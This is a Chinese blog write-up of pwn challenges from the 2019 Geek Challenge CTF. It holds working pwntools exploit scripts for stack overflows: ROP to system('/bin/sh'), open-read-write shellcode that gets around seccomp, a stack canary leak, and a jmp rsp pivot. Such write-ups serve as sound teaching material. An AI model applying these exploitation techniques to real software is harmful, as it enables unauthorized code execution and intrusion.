极客大挑战 Pwn Write up

Posted by Qfrost on 2019-11-21
Estimated Reading Time 7 Minutes
Words 1.9k In Total
Viewed Times

0x00

首先非常Syclover团队举办这次比赛,题目对于我这种新手非常友好,在做题的过程中也让我学到了很多。因此写这个wp以记录与纪念这次比赛。

0x01 Find tools

这题没有给出样本(所以也没法复现),只有一行提示:Find tools: Find right tools,so easy!

题目提示不难看出要我们找个工具,用对工具就能get flag。那除了nc能直接连接远程靶机外,最常用的pwn工具也就是pwntools库了,直接pwntools.remote连一波得到一个base64加密的字符串,然后解密得到key将key用pwntools.sendline发过去就可以得到flag

这题有个坑点,就是为什么用pwntools.remote能得到那串base64,而用nc却看不到。此处特别感谢众位大师傅解答我的疑惑。在那串base64后还跟着一个特殊的ascii————‘\r’,因为这个字符,会将光标跳回当前行首,然后后面的字符串便会覆盖base64,所以如果用nc连接,base64也会有显示,只是快速的被覆盖了。而pwntools会捕获所有数据并输出,因此能看到那串base64。

0x02 Baby rop

题目链接:https://pan.baidu.com/s/1RUFsUyVbPNFEv6QlLcpWVw 提取码: gepc

baby_rop

反编译main函数,可以看到read函数造成了栈溢出,溢出长度可达0x78字节。观察左边函数表,可以看到已有system函数。Shift + F12检查字符串可以看到程序中已有"/bin/sh"字符串,那只需构造一条rop链,将"/bin/sh"字符串地址pop入rdi,然后ret到system函数位置即可弹shell。

附exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
#sh = process("./hello")
#sh = remote("pwnto.fun", 10000)
sh = remote("127.0.0.1", 2333)
elf = ELF("hello")

offset = 0x88
pop_rdi_ret = 0x400693

payload = offset*'a'
payload += p64(pop_rdi_ret)
payload += p64(elf.search("/bin/sh\x00").next())
payload += p64(elf.plt["system"])
sh.send(payload)

sh.interactive()

0x03 Baby Shellcode

题目链接: https://pan.baidu.com/s/1qkgwJChf8TQ2btPTgpqNDg 提取码: bajw

baby_shellcode
IDA分析可以看到在main函数动态内存分配得到了一块长度为0x1000字节的内存,且初始地址为0x123000,然后在第一个read函数里会将读取的内容写入其中。第二个read函数则存在着一个明显的栈溢出漏洞。

baby_shellcode_backdoor
然后我们检查函数列表还可以看到有个疑似后门函数的东西。为什么说是疑似后门函数,因为system函数在这题是无法调用的。可以看到这题是开了seccomp沙盒保护,禁用了部分execve,上seccomp检查下禁用了什么。

baby_shellcode_seccomp
很明显了,典型的ORW。虽然这题开了NX保护,但通过vmmap可以看到mmap申请到的内存是具有可读可写可执行权限的,那我们只要写个ORW的shellcode到0x123000中然后在第二次栈溢出时ret到0x123000即可读出flag。那么,问题来了,通过反编译代码可以看到mmap函数申请内存空间,第三个参数(用于控制权限的参数)的值为6,按照Linux中权限的权值分配,r为4、w为2、x为1,那这段内存应该是具有可读可写但不可执行这样的权限,为什么和vmmap看到的权限不一样?然后查了一波官方文档,发现是因为权值分配不一样。内存页权限的权值分配竟然与Linux是反着来的!内存页权限,x为4、w为2、r为1,所以这里申请到的内存页具有可写可执行权限,但不具有读权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='amd64', os='linux')
sh = process("./RushB")
# sh = remote("127.0.0.1", 2333)
elf = ELF("RushB")

payload = asm(shellcraft.open("./flag"))
payload += asm(shellcraft.read(3, 0x123000 + 0x50, 0x32))
payload += asm(shellcraft.write(1, 0x123000 + 0x50, 0x32))

sh.sendafter("!",payload)

kidnap = 56*'a' + p64(0x123000)
#input()
sh.sendafter('?', kidnap)

sh.interactive()

0x04 Baby Canary

这题之前写了博客,直接上链接

http://www.qfrost.com/CTF/SSP_Leak/#more

0x05 Easy Canary

题目链接:https://pan.baidu.com/s/1twHebQgcqHHi_jdP0beOAw 提取码: zqrk

先检查护盾,题目开启了NX和Canary保护。然后IDA分析一波。
easy_canary
可以看到,思路是非常简单的。先输入到一个数组,然后会将数组输出,然后再次输入数组。那这题的考点就非常明确了,只需要根据canary最低位为\x00的特点将其覆盖然后输出,从而leak canary,然后在第二次输入前计算好偏移,将leak出的canary填充在该位置即可。 然后可以看到,这道题为了降低难度,还开了一个后门函数…
easy_canary_backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
sh = process("./canary")
# sh = remote("pwnto.fun", 10001)
elf = ELF("canary")
context.log_level = "debug"

offset = 20
payload = (offset+1)*'a'
sh.sendafter("?\n",payload)
sh.recvline()
a = sh.recv(20)
print a
canary = u32(sh.recv(4)) - 0x61
print hex(canary)

payload = offset*'a' + p32(canary) + 12*'a' + p32(elf.symbols["root"])
sh.sendafter("!\n",payload)

sh.interactive()

0x06 Not bad

题目链接:https://pan.baidu.com/s/1VKgmZOETnllQRNS327PCcA 提取码: qb6k

害 这题做了好久也没有做出来,直到看到了题解,才知道我对栈帧的跳转有些误解。下面来看一下这道题。

首先检查护盾,没有任何保护,并且有RWX段(大概率shellcode)。然后拖入IDA,可以看到是开了沙盒的,然后seccomp检测可以看到除了open,read,write函数外的系统调用都已被禁用(又是一道ORW)。然后看主函数部分
bad

代码非常非常简单,read函数除了能覆盖ret外,还能造成8字节的溢出。怎么利用这八字节从而实现ORW就成了问题所在。这题有很多非预期解,这里介绍用栈的解法(其实是堆太菜)。

通过ROPgadget可以看到程序中存在一条“jmp rsp”的gadget。众所周知,rsp是栈顶指针寄存器,那意味着我们可以通过这条指令跳转到当前栈顶处然后执行我们布置在栈上的shellcode从而实现ORW。刚开始我混淆了概念,以为用“jmp ret”的地址覆盖ret就可以跳转回buf数组的顶端,实际并非这样。在“jmp rsp”之前,程序已经执行了leave操作,而leave操作会将rbp的值覆盖到rsp,然后pop rbp,因此当执行leave操作后,rsp寄存器实际上指向的是ret指令的地址,然后等ret指令执行后,rsp就会指向ret后的那条指令的地址。也就是说,用“jmp rsp”的地址覆盖ret,成功跳转到rsp后,这时rsp的指向是ret的下一条指令,也就是那溢出的8位shellcode。理清流程后,那我们只需要将溢出的八位填充为一个jmp到buf顶的shellcode即可完成跳转,使程序将我们输入的内容作为指令进行执行。

那么问题来了,我们需要在buf内填充什么指令呢?实际操作发现ORW的shellcode长度远超过buf空间的长度,那也就是说我们要实现ORW,还需要跳转到别的地方。害,这里不是用mmap开了一个带执行权限的堆吗,那我们用一下read把ORW的shellcode写过去,然后call过去,就完事了。最后上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(arch="amd64",os="Linux")
context.log_level = "debug"
sh = process("./bad")
# sh = remote("pwnto.fun", 12301)
elf = ELF("bad")
jmp_rsp = 0x00400a01

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, 0x123100, 0x20)
orw_payload += shellcraft.write(1, 0x123100,0x20)
# print orw_payload

sh.recvline()
payload = asm(shellcraft.read(0,0x123000,0x90)) + asm("mov rax,0x123000;call rax")
payload = payload + (0x28 - len(payload))*'a' + p64(jmp_rsp)
payload += '\x4c\x8d\x4c\x24\xd0\x41\xff\xe1' #call rsp-0x30

input()
sh.send(payload)

sh.sendline(asm(orw_payload))

sh.interactive()